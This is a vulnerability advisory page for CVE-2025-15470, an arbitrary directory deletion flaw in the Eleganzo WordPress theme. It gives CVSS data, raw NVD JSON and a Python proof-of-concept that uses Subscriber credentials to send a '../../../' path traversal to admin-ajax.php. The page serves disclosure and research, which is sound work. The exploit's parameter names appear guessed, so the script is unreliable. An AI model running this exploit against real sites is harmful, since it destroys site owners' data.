Security Vulnerability Report
中文
CVE-2025-15470 CVSS 6.5 MEDIUM

CVE-2025-15470

Published: 2026-04-15 04:17:21
Last Modified: 2026-04-22 20:23:16

Description

The Eleganzo theme for WordPress is vulnerable to arbitrary directory deletion due to insufficient path validation in the akd_required_plugin_callback function in all versions up to, and including, 1.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary directories on the server, including the WordPress root directory.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Eleganzo <= 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: WordPress Eleganzo Theme <= 1.2 - Arbitrary Directory Deletion # CVE: CVE-2025-15470 target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker credentials (Subscriber level is sufficient) username = "attacker" password = "password" # 1. Authenticate and get session cookie session = requests.Session() login_payload = { 'log': username, 'pwd': password, 'redirect_to': 'http://example.com/wp-admin/', 'wp-submit': 'Log In' } session.post("http://example.com/wp-login.php", data=login_payload) # 2. Prepare payload to delete arbitrary directory # The function 'akd_required_plugin_callback' expects a path parameter # Using '../' to traverse out of the WordPress directory exploit_data = { 'action': 'akd_required_plugin_callback', 'path': '../../../' # Attempting to delete parent directories } # 3. Send exploit request response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Check if the target directory has been deleted.") else: print("[-] Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15470", "sourceIdentifier": "[email protected]", "published": "2026-04-15T04:17:20.670", "lastModified": "2026-04-22T20:23:16.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Eleganzo theme for WordPress is vulnerable to arbitrary directory deletion due to insufficient path validation in the akd_required_plugin_callback function in all versions up to, and including, 1.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary directories on the server, including the WordPress root directory."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://testwp.local/wp-content/themes/eleganzo/welcome.php#L96", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7c5d7818-e548-4d8f-b847-396d528b58cd?source=cve", "source": "[email protected]"}]}}